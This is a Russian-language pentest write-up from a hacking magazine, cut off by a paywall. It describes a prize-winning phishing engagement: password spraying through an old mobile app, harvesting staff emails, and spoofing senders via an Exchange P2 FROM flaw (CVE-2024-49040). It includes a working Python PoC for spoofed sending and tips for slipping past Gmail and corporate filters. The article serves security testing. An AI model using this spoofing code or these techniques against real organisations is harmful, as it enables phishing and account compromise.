Содержание статьи
Это исследование получило первое место на Pentest Award 2025 в категории «Ловись рыбка». Соревнование ежегодно проводится компанией Awillix.
warning
Статья имеет ознакомительный характер и предназначена для специалистов по безопасности, проводящих тестирование в рамках контракта. Автор и редакция не несут ответственности за любой вред, причиненный с применением изложенной информации. Распространение вредоносных программ, нарушение работы систем и нарушение тайны переписки преследуются по закону.
Как я получил адреса
Исследуя корпоративный веб‑ресурс, я обнаружил, что там в открытом доступе лежала старая версия мобильного приложения. В отличие от актуальной на тот момент, она позволяла залогиниться без второго фактора.
Ссылка для скачивания приложения появляется, только если зайти с мобильного устройства. Но я просто включил в браузере эмуляцию телефона и скачал приложение на компьютер.

Дальше я провел разведку по открытым источникам и собрал небольшой список имейлов работников организации. Затем поспреил пароли в приложении, получил доступ к профилю одного из сотрудников и смог вытащить через API уже полный список адресов. Их‑то я и буду использовать для фишинговой рассылки.
Выбираем способ доставки
В докладе Елизаветы Тишиной и Всеволода Кокорина «Вам письмо: старые новые атаки на почту», представленном на PHDays 2024, я подсмотрел один замечательный трюк: возможность слать электронные письма клиентам Microsoft Exchange Server с подменой адреса отправителя (за что большое спасибо докладчикам!).

Суть этого бага в том, что сервер некорректно парсит заголовок P2 FROM и этим можно воспользоваться — подделать поле отправителя так, чтобы там были сразу два адреса: реальный (который проверяет Exchange и скрыт от пользователя) и фейковый, который видит жертва. В итоге Exchange успешно подтверждает подлинность, и жертва видит, что получила письмо от доверенного сотрудника.
info
Во время эксплуатации этой уязвимости патчи от Microsoft и других вендоров еще не были доступными для скачивания.
Если хочешь быстро проверить, можно ли подменять отправителя при пересылке из Gmail в Outlook, вот рабочий PoC (используй его ответственно):
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
# Твой аккаунт Gmailsender_email = "ОТ_КОГО_ОТПРАВИТЬ"# Пароль приложения, взятый с https://myaccount.google.com/u/0/apppasswordspassword = "ПАРОЛЬ_ПРИЛОЖЕНИЯ"# Email, куда отправить письмоreceiver_email = "<КУДА_ОТПРАВИТЬ>"# Ящик, который нужно показать получателюspoofed_email = "<ЖЕЛАЕМЫЙ_АДРЕС_ОТПРАВИТЕЛЯ>"smtp_server = "smtp.gmail.com"smtp_port = 587
message = MIMEMultipart()# Здесь можно подменить имя отправителяmessage["From"] = f"<{spoofed_email}> "spoofed" <{sender_email}>"# Текст письмаmessage.attach(MIMEText('Test for CVE-2024-49040', "plain"))server = smtplib.SMTP(smtp_server, smtp_port)server.set_debuglevel(1)server.starttls()server.login(sender_email, password)print(message.as_string())server.sendmail(sender_email, receiver_email, message.as_string())
Если тебе понадобятся другие связки, помимо Gmail → Outlook, то можешь обратиться к посту Всеволода Кокорина.
Из‑за лимитов на отправку писем я использовал несколько аккаунтов Gmail. Эти адреса были заведены заранее — для совсем новых учеток у Google порой жесткие ограничения, и можно нарваться на блокировки или лимиты.
На каждом сервере, который я использовал для рассылки, я поместил скрипт на Python для работы с Gmail по API. Скрипт подменяет P2 FROM при отправке письма. Также я добавил рандомные паузы — чтобы не триггерить безопасность Gmail при отправке и корпоративные фильтры — при приеме.
Делаем лендинг
Я сделал два варианта фишингового письма с одной темой — «Новая фича: подключение к удалёнке через Telegram». Добавил короткий текст и QR-код внутри — сканируешь и попадаешь в телеграм‑бота злоумышленника.
Продолжение доступно только участникам
Материалы из последних выпусков становятся доступны по отдельности только через два месяца после публикации. Чтобы продолжить чтение, необходимо стать участником сообщества «Xakep.ru».
Присоединяйся к сообществу «Xakep.ru»!
Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее